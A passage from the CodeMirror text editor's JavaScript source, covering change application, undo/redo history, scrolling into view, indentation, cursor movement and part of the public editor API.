      if (!cm.curOp && cm.display.selForContextMenu != cm.doc.sel) {
        cm.display.input.reset();
        if (webkit) setTimeout(function() { cm.display.input.reset(true); }, 20); // Issue #1730
      }
      cm.display.input.receivedFocus();
    }
    restartBlink(cm);
  }
  function onBlur(cm) {
    if (cm.state.delayingBlurEvent) return;

    if (cm.state.focused) {
      signal(cm, "blur", cm);
      cm.state.focused = false;
      rmClass(cm.display.wrapper, "CodeMirror-focused");
    }
    clearInterval(cm.display.blinker);
    setTimeout(function() {if (!cm.state.focused) cm.display.shift = false;}, 150);
  }

  // CONTEXT MENU HANDLING

  // To make the context menu work, we need to briefly unhide the
  // textarea (making it as unobtrusive as possible) to let the
  // right-click take effect on it.
  function onContextMenu(cm, e) {
    if (eventInWidget(cm.display, e) || contextMenuInGutter(cm, e)) return;
    if (signalDOMEvent(cm, e, "contextmenu")) return;
    cm.display.input.onContextMenu(e);
  }

  function contextMenuInGutter(cm, e) {
    if (!hasHandler(cm, "gutterContextMenu")) return false;
    return gutterEvent(cm, e, "gutterContextMenu", false);
  }

  // UPDATING

  // Compute the position of the end of a change (its 'to' property
  // refers to the pre-change end).
  var changeEnd = CodeMirror.changeEnd = function(change) {
    if (!change.text) return change.to;
    return Pos(change.from.line + change.text.length - 1,
               lst(change.text).length + (change.text.length == 1 ? change.from.ch : 0));
  };

  // Adjust a position to refer to the post-change position of the
  // same text, or the end of the change if the change covers it.
  function adjustForChange(pos, change) {
    if (cmp(pos, change.from) < 0) return pos;
    if (cmp(pos, change.to) <= 0) return changeEnd(change);

    var line = pos.line + change.text.length - (change.to.line - change.from.line) - 1, ch = pos.ch;
    if (pos.line == change.to.line) ch += changeEnd(change).ch - change.to.ch;
    return Pos(line, ch);
  }

  function computeSelAfterChange(doc, change) {
    var out = [];
    for (var i = 0; i < doc.sel.ranges.length; i++) {
      var range = doc.sel.ranges[i];
      out.push(new Range(adjustForChange(range.anchor, change),
                         adjustForChange(range.head, change)));
    }
    return normalizeSelection(out, doc.sel.primIndex);
  }

  function offsetPos(pos, old, nw) {
    if (pos.line == old.line)
      return Pos(nw.line, pos.ch - old.ch + nw.ch);
    else
      return Pos(nw.line + (pos.line - old.line), pos.ch);
  }

  // Used by replaceSelections to allow moving the selection to the
  // start or around the replaced test. Hint may be "start" or "around".
  function computeReplacedSel(doc, changes, hint) {
    var out = [];
    var oldPrev = Pos(doc.first, 0), newPrev = oldPrev;
    for (var i = 0; i < changes.length; i++) {
      var change = changes[i];
      var from = offsetPos(change.from, oldPrev, newPrev);
      var to = offsetPos(changeEnd(change), oldPrev, newPrev);
      oldPrev = change.to;
      newPrev = to;
      if (hint == "around") {
        var range = doc.sel.ranges[i], inv = cmp(range.head, range.anchor) < 0;
        out[i] = new Range(inv ? to : from, inv ? from : to);
      } else {
        out[i] = new Range(from, from);
      }
    }
    return new Selection(out, doc.sel.primIndex);
  }

  // Allow "beforeChange" event handlers to influence a change
  function filterChange(doc, change, update) {
    var obj = {
      canceled: false,
      from: change.from,
      to: change.to,
      text: change.text,
      origin: change.origin,
      cancel: function() { this.canceled = true; }
    };
    if (update) obj.update = function(from, to, text, origin) {
      if (from) this.from = clipPos(doc, from);
      if (to) this.to = clipPos(doc, to);
      if (text) this.text = text;
      if (origin !== undefined) this.origin = origin;
    };
    signal(doc, "beforeChange", doc, obj);
    if (doc.cm) signal(doc.cm, "beforeChange", doc.cm, obj);

    if (obj.canceled) return null;
    return {from: obj.from, to: obj.to, text: obj.text, origin: obj.origin};
  }

  // Apply a change to a document, and add it to the document's
  // history, and propagating it to all linked documents.
  function makeChange(doc, change, ignoreReadOnly) {
    if (doc.cm) {
      if (!doc.cm.curOp) return operation(doc.cm, makeChange)(doc, change, ignoreReadOnly);
      if (doc.cm.state.suppressEdits) return;
    }

    if (hasHandler(doc, "beforeChange") || doc.cm && hasHandler(doc.cm, "beforeChange")) {
      change = filterChange(doc, change, true);
      if (!change) return;
    }

    // Possibly split or suppress the update based on the presence
    // of read-only spans in its range.
    var split = sawReadOnlySpans && !ignoreReadOnly && removeReadOnlyRanges(doc, change.from, change.to);
    if (split) {
      for (var i = split.length - 1; i >= 0; --i)
        makeChangeInner(doc, {from: split[i].from, to: split[i].to, text: i ? [""] : change.text});
    } else {
      makeChangeInner(doc, change);
    }
  }

  function makeChangeInner(doc, change) {
    if (change.text.length == 1 && change.text[0] == "" && cmp(change.from, change.to) == 0) return;
    var selAfter = computeSelAfterChange(doc, change);
    addChangeToHistory(doc, change, selAfter, doc.cm ? doc.cm.curOp.id : NaN);

    makeChangeSingleDoc(doc, change, selAfter, stretchSpansOverChange(doc, change));
    var rebased = [];

    linkedDocs(doc, function(doc, sharedHist) {
      if (!sharedHist && indexOf(rebased, doc.history) == -1) {
        rebaseHist(doc.history, change);
        rebased.push(doc.history);
      }
      makeChangeSingleDoc(doc, change, null, stretchSpansOverChange(doc, change));
    });
  }

  // Revert a change stored in a document's history.
  function makeChangeFromHistory(doc, type, allowSelectionOnly) {
    if (doc.cm && doc.cm.state.suppressEdits) return;

    var hist = doc.history, event, selAfter = doc.sel;
    var source = type == "undo" ? hist.done : hist.undone, dest = type == "undo" ? hist.undone : hist.done;

    // Verify that there is a useable event (so that ctrl-z won't
    // needlessly clear selection events)
    for (var i = 0; i < source.length; i++) {
      event = source[i];
      if (allowSelectionOnly ? event.ranges && !event.equals(doc.sel) : !event.ranges)
        break;
    }
    if (i == source.length) return;
    hist.lastOrigin = hist.lastSelOrigin = null;

    for (;;) {
      event = source.pop();
      if (event.ranges) {
        pushSelectionToHistory(event, dest);
        if (allowSelectionOnly && !event.equals(doc.sel)) {
          setSelection(doc, event, {clearRedo: false});
          return;
        }
        selAfter = event;
      }
      else break;
    }

    // Build up a reverse change object to add to the opposite history
    // stack (redo when undoing, and vice versa).
    var antiChanges = [];
    pushSelectionToHistory(selAfter, dest);
    dest.push({changes: antiChanges, generation: hist.generation});
    hist.generation = event.generation || ++hist.maxGeneration;

    var filter = hasHandler(doc, "beforeChange") || doc.cm && hasHandler(doc.cm, "beforeChange");

    for (var i = event.changes.length - 1; i >= 0; --i) {
      var change = event.changes[i];
      change.origin = type;
      if (filter && !filterChange(doc, change, false)) {
        source.length = 0;
        return;
      }

      antiChanges.push(historyChangeFromChange(doc, change));

      var after = i ? computeSelAfterChange(doc, change) : lst(source);
      makeChangeSingleDoc(doc, change, after, mergeOldSpans(doc, change));
      if (!i && doc.cm) doc.cm.scrollIntoView({from: change.from, to: changeEnd(change)});
      var rebased = [];

      // Propagate to the linked documents
      linkedDocs(doc, function(doc, sharedHist) {
        if (!sharedHist && indexOf(rebased, doc.history) == -1) {
          rebaseHist(doc.history, change);
          rebased.push(doc.history);
        }
        makeChangeSingleDoc(doc, change, null, mergeOldSpans(doc, change));
      });
    }
  }

  // Sub-views need their line numbers shifted when text is added
  // above or below them in the parent document.
  function shiftDoc(doc, distance) {
    if (distance == 0) return;
    doc.first += distance;
    doc.sel = new Selection(map(doc.sel.ranges, function(range) {
      return new Range(Pos(range.anchor.line + distance, range.anchor.ch),
                       Pos(range.head.line + distance, range.head.ch));
    }), doc.sel.primIndex);
    if (doc.cm) {
      regChange(doc.cm, doc.first, doc.first - distance, distance);
      for (var d = doc.cm.display, l = d.viewFrom; l < d.viewTo; l++)
        regLineChange(doc.cm, l, "gutter");
    }
  }

  // More lower-level change function, handling only a single document
  // (not linked ones).
  function makeChangeSingleDoc(doc, change, selAfter, spans) {
    if (doc.cm && !doc.cm.curOp)
      return operation(doc.cm, makeChangeSingleDoc)(doc, change, selAfter, spans);

    if (change.to.line < doc.first) {
      shiftDoc(doc, change.text.length - 1 - (change.to.line - change.from.line));
      return;
    }
    if (change.from.line > doc.lastLine()) return;

    // Clip the change to the size of this doc
    if (change.from.line < doc.first) {
      var shift = change.text.length - 1 - (doc.first - change.from.line);
      shiftDoc(doc, shift);
      change = {from: Pos(doc.first, 0), to: Pos(change.to.line + shift, change.to.ch),
                text: [lst(change.text)], origin: change.origin};
    }
    var last = doc.lastLine();
    if (change.to.line > last) {
      change = {from: change.from, to: Pos(last, getLine(doc, last).text.length),
                text: [change.text[0]], origin: change.origin};
    }

    change.removed = getBetween(doc, change.from, change.to);

    if (!selAfter) selAfter = computeSelAfterChange(doc, change);
    if (doc.cm) makeChangeSingleDocInEditor(doc.cm, change, spans);
    else updateDoc(doc, change, spans);
    setSelectionNoUndo(doc, selAfter, sel_dontScroll);
  }

  // Handle the interaction of a change to a document with the editor
  // that this document is part of.
  function makeChangeSingleDocInEditor(cm, change, spans) {
    var doc = cm.doc, display = cm.display, from = change.from, to = change.to;

    var recomputeMaxLength = false, checkWidthStart = from.line;
    if (!cm.options.lineWrapping) {
      checkWidthStart = lineNo(visualLine(getLine(doc, from.line)));
      doc.iter(checkWidthStart, to.line + 1, function(line) {
        if (line == display.maxLine) {
          recomputeMaxLength = true;
          return true;
        }
      });
    }

    if (doc.sel.contains(change.from, change.to) > -1)
      signalCursorActivity(cm);

    updateDoc(doc, change, spans, estimateHeight(cm));

    if (!cm.options.lineWrapping) {
      doc.iter(checkWidthStart, from.line + change.text.length, function(line) {
        var len = lineLength(line);
        if (len > display.maxLineLength) {
          display.maxLine = line;
          display.maxLineLength = len;
          display.maxLineChanged = true;
          recomputeMaxLength = false;
        }
      });
      if (recomputeMaxLength) cm.curOp.updateMaxLine = true;
    }

    // Adjust frontier, schedule worker
    doc.frontier = Math.min(doc.frontier, from.line);
    startWorker(cm, 400);

    var lendiff = change.text.length - (to.line - from.line) - 1;
    // Remember that these lines changed, for updating the display
    if (change.full)
      regChange(cm);
    else if (from.line == to.line && change.text.length == 1 && !isWholeLineUpdate(cm.doc, change))
      regLineChange(cm, from.line, "text");
    else
      regChange(cm, from.line, to.line + 1, lendiff);

    var changesHandler = hasHandler(cm, "changes"), changeHandler = hasHandler(cm, "change");
    if (changeHandler || changesHandler) {
      var obj = {
        from: from, to: to,
        text: change.text,
        removed: change.removed,
        origin: change.origin
      };
      if (changeHandler) signalLater(cm, "change", cm, obj);
      if (changesHandler) (cm.curOp.changeObjs || (cm.curOp.changeObjs = [])).push(obj);
    }
    cm.display.selForContextMenu = null;
  }

  function replaceRange(doc, code, from, to, origin) {
    if (!to) to = from;
    if (cmp(to, from) < 0) { var tmp = to; to = from; from = tmp; }
    if (typeof code == "string") code = doc.splitLines(code);
    makeChange(doc, {from: from, to: to, text: code, origin: origin});
  }

  // SCROLLING THINGS INTO VIEW

  // If an editor sits on the top or bottom of the window, partially
  // scrolled out of view, this ensures that the cursor is visible.
  function maybeScrollWindow(cm, coords) {
    if (signalDOMEvent(cm, "scrollCursorIntoView")) return;

    var display = cm.display, box = display.sizer.getBoundingClientRect(), doScroll = null;
    if (coords.top + box.top < 0) doScroll = true;
    else if (coords.bottom + box.top > (window.innerHeight || document.documentElement.clientHeight)) doScroll = false;
    if (doScroll != null && !phantom) {
      var scrollNode = elt("div", "\u200b", null, "position: absolute; top: " +
                           (coords.top - display.viewOffset - paddingTop(cm.display)) + "px; height: " +
                           (coords.bottom - coords.top + scrollGap(cm) + display.barHeight) + "px; left: " +
                           coords.left + "px; width: 2px;");
      cm.display.lineSpace.appendChild(scrollNode);
      scrollNode.scrollIntoView(doScroll);
      cm.display.lineSpace.removeChild(scrollNode);
    }
  }

  // Scroll a given position into view (immediately), verifying that
  // it actually became visible (as line heights are accurately
  // measured, the position of something may 'drift' during drawing).
  function scrollPosIntoView(cm, pos, end, margin) {
    if (margin == null) margin = 0;
    for (var limit = 0; limit < 5; limit++) {
      var changed = false, coords = cursorCoords(cm, pos);
      var endCoords = !end || end == pos ? coords : cursorCoords(cm, end);
      var scrollPos = calculateScrollPos(cm, Math.min(coords.left, endCoords.left),
                                         Math.min(coords.top, endCoords.top) - margin,
                                         Math.max(coords.left, endCoords.left),
                                         Math.max(coords.bottom, endCoords.bottom) + margin);
      var startTop = cm.doc.scrollTop, startLeft = cm.doc.scrollLeft;
      if (scrollPos.scrollTop != null) {
        setScrollTop(cm, scrollPos.scrollTop);
        if (Math.abs(cm.doc.scrollTop - startTop) > 1) changed = true;
      }
      if (scrollPos.scrollLeft != null) {
        setScrollLeft(cm, scrollPos.scrollLeft);
        if (Math.abs(cm.doc.scrollLeft - startLeft) > 1) changed = true;
      }
      if (!changed) break;
    }
    return coords;
  }

  // Scroll a given set of coordinates into view (immediately).
  function scrollIntoView(cm, x1, y1, x2, y2) {
    var scrollPos = calculateScrollPos(cm, x1, y1, x2, y2);
    if (scrollPos.scrollTop != null) setScrollTop(cm, scrollPos.scrollTop);
    if (scrollPos.scrollLeft != null) setScrollLeft(cm, scrollPos.scrollLeft);
  }

  // Calculate a new scroll position needed to scroll the given
  // rectangle into view. Returns an object with scrollTop and
  // scrollLeft properties. When these are undefined, the
  // vertical/horizontal position does not need to be adjusted.
  function calculateScrollPos(cm, x1, y1, x2, y2) {
    var display = cm.display, snapMargin = textHeight(cm.display);
    if (y1 < 0) y1 = 0;
    var screentop = cm.curOp && cm.curOp.scrollTop != null ? cm.curOp.scrollTop : display.scroller.scrollTop;
    var screen = displayHeight(cm), result = {};
    if (y2 - y1 > screen) y2 = y1 + screen;
    var docBottom = cm.doc.height + paddingVert(display);
    var atTop = y1 < snapMargin, atBottom = y2 > docBottom - snapMargin;
    if (y1 < screentop) {
      result.scrollTop = atTop ? 0 : y1;
    } else if (y2 > screentop + screen) {
      var newTop = Math.min(y1, (atBottom ? docBottom : y2) - screen);
      if (newTop != screentop) result.scrollTop = newTop;
    }

    var screenleft = cm.curOp && cm.curOp.scrollLeft != null ? cm.curOp.scrollLeft : display.scroller.scrollLeft;
    var screenw = displayWidth(cm) - (cm.options.fixedGutter ? display.gutters.offsetWidth : 0);
    var tooWide = x2 - x1 > screenw;
    if (tooWide) x2 = x1 + screenw;
    if (x1 < 10)
      result.scrollLeft = 0;
    else if (x1 < screenleft)
      result.scrollLeft = Math.max(0, x1 - (tooWide ? 0 : 10));
    else if (x2 > screenw + screenleft - 3)
      result.scrollLeft = x2 + (tooWide ? 0 : 10) - screenw;
    return result;
  }

  // Store a relative adjustment to the scroll position in the current
  // operation (to be applied when the operation finishes).
  function addToScrollPos(cm, left, top) {
    if (left != null || top != null) resolveScrollToPos(cm);
    if (left != null)
      cm.curOp.scrollLeft = (cm.curOp.scrollLeft == null ? cm.doc.scrollLeft : cm.curOp.scrollLeft) + left;
    if (top != null)
      cm.curOp.scrollTop = (cm.curOp.scrollTop == null ? cm.doc.scrollTop : cm.curOp.scrollTop) + top;
  }

  // Make sure that at the end of the operation the current cursor is
  // shown.
  function ensureCursorVisible(cm) {
    resolveScrollToPos(cm);
    var cur = cm.getCursor(), from = cur, to = cur;
    if (!cm.options.lineWrapping) {
      from = cur.ch ? Pos(cur.line, cur.ch - 1) : cur;
      to = Pos(cur.line, cur.ch + 1);
    }
    cm.curOp.scrollToPos = {from: from, to: to, margin: cm.options.cursorScrollMargin, isCursor: true};
  }

  // When an operation has its scrollToPos property set, and another
  // scroll action is applied before the end of the operation, this
  // 'simulates' scrolling that position into view in a cheap way, so
  // that the effect of intermediate scroll commands is not ignored.
  function resolveScrollToPos(cm) {
    var range = cm.curOp.scrollToPos;
    if (range) {
      cm.curOp.scrollToPos = null;
      var from = estimateCoords(cm, range.from), to = estimateCoords(cm, range.to);
      var sPos = calculateScrollPos(cm, Math.min(from.left, to.left),
                                    Math.min(from.top, to.top) - range.margin,
                                    Math.max(from.right, to.right),
                                    Math.max(from.bottom, to.bottom) + range.margin);
      cm.scrollTo(sPos.scrollLeft, sPos.scrollTop);
    }
  }

  // API UTILITIES

  // Indent the given line. The how parameter can be "smart",
  // "add"/null, "subtract", or "prev". When aggressive is false
  // (typically set to true for forced single-line indents), empty
  // lines are not indented, and places where the mode returns Pass
  // are left alone.
  function indentLine(cm, n, how, aggressive) {
    var doc = cm.doc, state;
    if (how == null) how = "add";
    if (how == "smart") {
      // Fall back to "prev" when the mode doesn't have an indentation
      // method.
      if (!doc.mode.indent) how = "prev";
      else state = getStateBefore(cm, n);
    }

    var tabSize = cm.options.tabSize;
    var line = getLine(doc, n), curSpace = countColumn(line.text, null, tabSize);
    if (line.stateAfter) line.stateAfter = null;
    var curSpaceString = line.text.match(/^\s*/)[0], indentation;
    if (!aggressive && !/\S/.test(line.text)) {
      indentation = 0;
      how = "not";
    } else if (how == "smart") {
      indentation = doc.mode.indent(state, line.text.slice(curSpaceString.length), line.text);
      if (indentation == Pass || indentation > 150) {
        if (!aggressive) return;
        how = "prev";
      }
    }
    if (how == "prev") {
      if (n > doc.first) indentation = countColumn(getLine(doc, n-1).text, null, tabSize);
      else indentation = 0;
    } else if (how == "add") {
      indentation = curSpace + cm.options.indentUnit;
    } else if (how == "subtract") {
      indentation = curSpace - cm.options.indentUnit;
    } else if (typeof how == "number") {
      indentation = curSpace + how;
    }
    indentation = Math.max(0, indentation);

    var indentString = "", pos = 0;
    if (cm.options.indentWithTabs)
      for (var i = Math.floor(indentation / tabSize); i; --i) {pos += tabSize; indentString += "\t";}
    if (pos < indentation) indentString += spaceStr(indentation - pos);

    if (indentString != curSpaceString) {
      replaceRange(doc, indentString, Pos(n, 0), Pos(n, curSpaceString.length), "+input");
      line.stateAfter = null;
      return true;
    } else {
      // Ensure that, if the cursor was in the whitespace at the start
      // of the line, it is moved to the end of that space.
      for (var i = 0; i < doc.sel.ranges.length; i++) {
        var range = doc.sel.ranges[i];
        if (range.head.line == n && range.head.ch < curSpaceString.length) {
          var pos = Pos(n, curSpaceString.length);
          replaceOneSelection(doc, i, new Range(pos, pos));
          break;
        }
      }
    }
  }

  // Utility for applying a change to a line by handle or number,
  // returning the number and optionally registering the line as
  // changed.
  function changeLine(doc, handle, changeType, op) {
    var no = handle, line = handle;
    if (typeof handle == "number") line = getLine(doc, clipLine(doc, handle));
    else no = lineNo(handle);
    if (no == null) return null;
    if (op(line, no) && doc.cm) regLineChange(doc.cm, no, changeType);
    return line;
  }

  // Helper for deleting text near the selection(s), used to implement
  // backspace, delete, and similar functionality.
  function deleteNearSelection(cm, compute) {
    var ranges = cm.doc.sel.ranges, kill = [];
    // Build up a set of ranges to kill first, merging overlapping
    // ranges.
    for (var i = 0; i < ranges.length; i++) {
      var toKill = compute(ranges[i]);
      while (kill.length && cmp(toKill.from, lst(kill).to) <= 0) {
        var replaced = kill.pop();
        if (cmp(replaced.from, toKill.from) < 0) {
          toKill.from = replaced.from;
          break;
        }
      }
      kill.push(toKill);
    }
    // Next, remove those actual ranges.
    runInOp(cm, function() {
      for (var i = kill.length - 1; i >= 0; i--)
        replaceRange(cm.doc, "", kill[i].from, kill[i].to, "+delete");
      ensureCursorVisible(cm);
    });
  }

  // Used for horizontal relative motion. Dir is -1 or 1 (left or
  // right), unit can be "char", "column" (like char, but doesn't
  // cross line boundaries), "word" (across next word), or "group" (to
  // the start of next group of word or non-word-non-whitespace
  // chars). The visually param controls whether, in right-to-left
  // text, direction 1 means to move towards the next index in the
  // string, or towards the character to the right of the current
  // position. The resulting position will have a hitSide=true
  // property if it reached the end of the document.
  function findPosH(doc, pos, dir, unit, visually) {
    var line = pos.line, ch = pos.ch, origDir = dir;
    var lineObj = getLine(doc, line);
    var possible = true;
    function findNextLine() {
      var l = line + dir;
      if (l < doc.first || l >= doc.first + doc.size) return (possible = false);
      line = l;
      return lineObj = getLine(doc, l);
    }
    function moveOnce(boundToLine) {
      var next = (visually ? moveVisually : moveLogically)(lineObj, ch, dir, true);
      if (next == null) {
        if (!boundToLine && findNextLine()) {
          if (visually) ch = (dir < 0 ? lineRight : lineLeft)(lineObj);
          else ch = dir < 0 ? lineObj.text.length : 0;
        } else return (possible = false);
      } else ch = next;
      return true;
    }

    if (unit == "char") moveOnce();
    else if (unit == "column") moveOnce(true);
    else if (unit == "word" || unit == "group") {
      var sawType = null, group = unit == "group";
      var helper = doc.cm && doc.cm.getHelper(pos, "wordChars");
      for (var first = true;; first = false) {
        if (dir < 0 && !moveOnce(!first)) break;
        var cur = lineObj.text.charAt(ch) || "\n";
        var type = isWordChar(cur, helper) ? "w"
          : group && cur == "\n" ? "n"
          : !group || /\s/.test(cur) ? null
          : "p";
        if (group && !first && !type) type = "s";
        if (sawType && sawType != type) {
          if (dir < 0) {dir = 1; moveOnce();}
          break;
        }

        if (type) sawType = type;
        if (dir > 0 && !moveOnce(!first)) break;
      }
    }
    var result = skipAtomic(doc, Pos(line, ch), origDir, true);
    if (!possible) result.hitSide = true;
    return result;
  }

  // For relative vertical movement. Dir may be -1 or 1. Unit can be
  // "page" or "line". The resulting position will have a hitSide=true
  // property if it reached the end of the document.
  function findPosV(cm, pos, dir, unit) {
    var doc = cm.doc, x = pos.left, y;
    if (unit == "page") {
      var pageSize = Math.min(cm.display.wrapper.clientHeight, window.innerHeight || document.documentElement.clientHeight);
      y = pos.top + dir * (pageSize - (dir < 0 ? 1.5 : .5) * textHeight(cm.display));
    } else if (unit == "line") {
      y = dir > 0 ? pos.bottom + 3 : pos.top - 3;
    }
    for (;;) {
      var target = coordsChar(cm, x, y);
      if (!target.outside) break;
      if (dir < 0 ? y <= 0 : y >= doc.height) { target.hitSide = true; break; }
      y += dir * 5;
    }
    return target;
  }

  // EDITOR METHODS

  // The publicly visible API. Note that methodOp(f) means
  // 'wrap f in an operation, performed on its `this` parameter'.

  // This is not the complete set of editor methods. Most of the
  // methods defined on the Doc type are also injected into
  // CodeMirror.prototype, for backwards compatibility and
  // convenience.

  CodeMirror.prototype = {
    constructor: CodeMirror,
    focus: function(){window.focus(); this.display.input.focus();},

    setOption: function(option, value) {
      var options = this.options, old = options[option];
      if (options[option] == value && option != "mode") return;
      options[option] = value;
      if (optionHandlers.hasOwnProperty(option))
        operation(this, optionHandlers[option])(this, value, old);
    },

    getOption: function(option) {return this.options[option];},
    getDoc: function() {return this.doc;},

    addKeyMap: function(map, bottom) {
      this.state.keyMaps[bottom ? "push" : "unshift"](getKeyMap(map));
    },
    removeKeyMap: function(map) {
      var maps = this.state.keyMaps;
      for (var i = 0; i < maps.length; ++i)
        if (maps[i] == map || maps[i].name == map) {
          maps.splice(i, 1);
          return true;
        }
    },

    addOverlay: methodOp(function(spec, options) {
      var mode = spec.token ? spec : CodeMirror.getMode(this.options, spec);
      if (mode.startState) throw new Error("Overlays may not be stateful.");
      this.state.overlays.push({mode: mode, modeSpec: spec, opaque: options && options.opaque});
      this.state.modeGen++;
      regChange(this);
    }),
    removeOverlay: methodOp(function(spec) {
      var overlays = this.state.overlays;
      for (var i = 0; i < overlays.length; ++i) {
        var cur = overlays[i].modeSpec;
        if (cur == spec || typeof spec == "string" && cur.name == spec) {
          overlays.splice(i, 1);
          this.state.modeGen++;
          regChange(this);
          return;
        }
      }
    }),

    indentLine: methodOp(function(n, dir, aggressive) {
      if (typeof dir != "string" && typeof dir != "number") {
        if (dir == null) dir = this.options.smartIndent ? "smart" : "prev";
        else dir = dir ? "add" : "subtract";
      }
      if (isLine(this.doc, n)) indentLine(this, n, dir, aggressive);
    }),
    indentSelection: methodOp(function(how) {
      var ranges = this.doc.sel.ranges, end = -1;
      for (var i = 0; i < ranges.length; i++) {
        var range = ranges[i];
        if (!range.empty()) {
          var from = range.from(), to = range.to();
          var start = Math.max(end, from.line);
          end = Math.min(this.lastLine(), to.line - (to.ch ? 0 : 1)) + 1;
          for (var j = start; j < end; ++j)
            indentLine(this, j, how);
          var newRanges = this.doc.sel.ranges;
          if (from.ch == 0 && ranges.length == newRanges.length && newRanges[i].from().ch > 0)
            replaceOneSelection(this.doc, i, new Range(from, newRanges[i].to()), sel_dontScroll);
        } else if (range.head.line > end) {
          indentLine(this, range.head.line, how, true);
          end = range.head.line;
          if (i == this.doc.sel.primIndex) ensureCursorVisible(this);
        }
      }
    }),

    // Fetch the parser token for a given character. Useful for hacks
    // that want to inspect the mode state (say, for completion).
    getTokenAt: function(pos, precise) {
      return takeToken(this, pos, precise);
    },

    getLineTokens: function(line, precise) {
      return takeToken(this, Pos(line), precise, true);
    },

    getTokenTypeAt: function(pos) {
      pos = clipPos(this.doc, pos);
      var styles = getLineStyles(this, getLine(this.doc, pos.line));
      var before = 0, after = (styles.length - 1) / 2, ch = pos.ch;
      var type;
      if (ch == 0) type = styles[2];
      else for (;;) {
        var mid = (before + after) >> 1;
        if ((mid ? styles[mid * 2 - 1] : 0) >= ch) after = mid;
        else if (styles[mid * 2 + 1] < ch) before = mid + 1;
        else { type = styles[mid * 2 + 2]; break; }
      }
      var cut = type ? type.indexOf("cm-overlay ") : -1;
      return cut < 0 ? type : cut == 0 ? null : type.slice(0, cut - 1);
    },

    getModeAt: function(pos) {
      var mode = this.doc.mode;
      if (!mode.innerMode) return mode;
      return CodeMirror.innerMode(mode, this.getTokenAt(pos).state).mode;
    },

    getHelper: function(pos, type) {
      return this.getHelpers(pos, type)[0];
    },

    getHelpers: function(pos, type) {
      var found = [];
      if (!helpers.hasOwnProperty(type)) return found;
      var help = helpers[type], mode = this.getModeAt(pos);
      if (typeof mode[type] == "string") {
        if (help[mode[type]]) found.push(help[mode[type]]);
      } else if (mode[type]) {
        for (var i = 0; i < mode[type].length; i++) {
          var val = help[mode[type][i]];
          if (val) found.push(val);
        }
      } else if (mode.helperType && help[mode.helperType]) {
        found.push(help[mode.helperType]);
      } else if (help[mode.name]) {
        found.push(help[mode.name]);
      }
      for (var i = 0; i < help._global.length; i++) {
        var cur = help._global[i];
        if (cur.pred(mode, this) && indexOf(found, cur.val) == -1)
          found.push(cur.val);
      }
      return found;
    },

    getStateAfter: function(line, precise) {
      var doc = this.doc;
      line = clipLine(doc, line == null ? doc.first + doc.size - 1: line);
      return getStateBefore(this, line + 1, precise);
    },

    cursorCoords: function(start, mode) {
      var pos, range = this.doc.sel.primary();
      if (start == null) pos = range.head;
      else if (typeof start == "object") pos = clipPos(this.doc, start);
      else pos = start ? range.from() : range.to();
      return cursorCoords(this, pos, mode || "page");
    },

    charCoords: function(pos, mode) {
      return charCoords(this, clipPos(this.doc, pos), mode || "page");
    },

    coordsChar: function(coords, mode) {
      coords = fromCoordSystem(this, coords, mode || "page");
      return coordsChar(this, coords.left, coords.top);
    },

    lineAtHeight: function(height, mode) {
      height = fromCoordSystem(this, {top: height, left: 0}, mode || "page").top;
      return lineAtHeight(this.doc, height + this.display.viewOffset);
    },
    heightAtLine: function(line, mode) {
      var end = false, lineObj;
      if (typeof line == "number") {
        var last = this.doc.first + this.doc.size - 1;
        if (line < this.doc.first) line = this.doc.first;
        else if (line > last) { line = last; end = true; }
        lineObj = getLine(this.doc, line);
      } else {
        lineObj = line;
      }
      return intoCoordSystem(this, lineObj, {top: 0, left: 0}, mode || "page").top +
        (end ? this.doc.height - heightAtLine(lineObj) : 0);
    },

    defaultTextHeight: function() { return textHeight(this.display); },
    defaultCharWidth: function() { return charWidth(this.display); },

    setGutterMarker: methodOp(function(line, gutterID, value) {
      return changeLine(this.doc, line, "gutter", function(line) {
        var markers = line.gutterMarkers || (line.gutterMarkers = {});
        markers[gutterID] = value;
        if (!value && isEmpty(markers)) line.gutterMarkers = null;
        return true;
      });
    }),

    clearGutter: methodOp(function(gutterID) {
      var cm = this, doc = cm.doc, i = doc.first;
      doc.iter(function(line) {
        if (line.gutterMarkers && line.gutterMarkers[gutterID]) {
          line.gutterMarkers[gutterID] = null;
          regLineChange(cm, i, "gutter");
          if (isEmpty(line.gutterMarkers)) line.gutterMarkers = null;
        }
        ++i;
      });
    }),

    lineInfo: function(line) {
      if (typeof line == "number") {
        if (!isLine(this.doc, line)) return null;
        var n = line;
        line = getLine(this.doc, line);
        if (!line) return null;
      } else {
        var n = lineNo(line);
        if (n == null) return null;
      }
      return {line: n, handle: line, text: line.text, gutterMarkers: line.gutterMarkers,
              textClass: line.textClass, bgClass: line.bgClass, wrapClass: line.wrapClass,
              widgets: line.widgets};
    },

    getViewport: function() { return {from: this.display.viewFrom, to: this.display.viewTo};},

    addWidget: function(pos, node, scroll, vert, horiz) {
      var display = this.display;
      pos = cursorCoords(this, clipPos(this.doc, pos));
      var top = pos.bottom, left = pos.left;
      node.style.position = "absolute";
      node.setAttribute("cm-ignore-events", "true");
      this.display.input.setUneditable(node);
      display.sizer.appendChild(node);
      if (vert == "over") {
        top = pos.top;
      } else if (vert == "above" || vert == "near") {
        var vspace = Math.max(display.wrapper.clientHeight, this.doc.height),
        hspace = Math.max(display.sizer.clientWidth, display.lineSpace.clientWidth);
        // Default to positioning above (if specified and possible); otherwise default to positioning below
        if ((vert == 'above' || pos.bottom + node.offsetHeight > vspace) && pos.top > node.offsetHeight)
          top = pos.top - node.offsetHeight;
        else if (pos.bottom + node.offsetHeight <= vspace)
          top = pos.bottom;
        if (left + node.offsetWidth > hspace)
          left = hspace - node.offsetWidth;
      }
      node.style.top = top + "px";
      node.style.left = node.style.right = "";
      if (horiz == "right") {
        left = display.sizer.clientWidth - node.offsetWidth;
        node.style.right = "0px";
      } else {
        if (horiz == "left") left = 0;
        else if (horiz == "middle") left = (display.sizer.clientWidth - node.offsetWidth) / 2;
        node.style.left = left + "px";
      }
      if (scroll)
        scrollIntoView(this, left, top, left + node.offsetWidth, top + node.offsetHeight);
    },

    triggerOnKeyDown: methodOp(onKeyDown),
    triggerOnKeyPress: methodOp(onKeyPress),
    triggerOnKeyUp: onKeyUp,

    execCommand: function(cmd) {
      if (commands.hasOwnProperty(cmd))
        return commands[cmd].call(null, this);
    },

    triggerElectric: methodOp(function(text) { triggerElectric(this, text); }),

    findPosH: function(from, amount, unit, visually) {
      var dir = 1;
      if (amount < 0) { dir = -1; amount = -amount; }
      for (var i = 0, cur = clipPos(this.doc, from); i < amount; ++i) {
        cur = findPosH(this.doc, cur, dir, unit, visually);
        if (cur.hitSide) break;
      }
      return cur;
    },
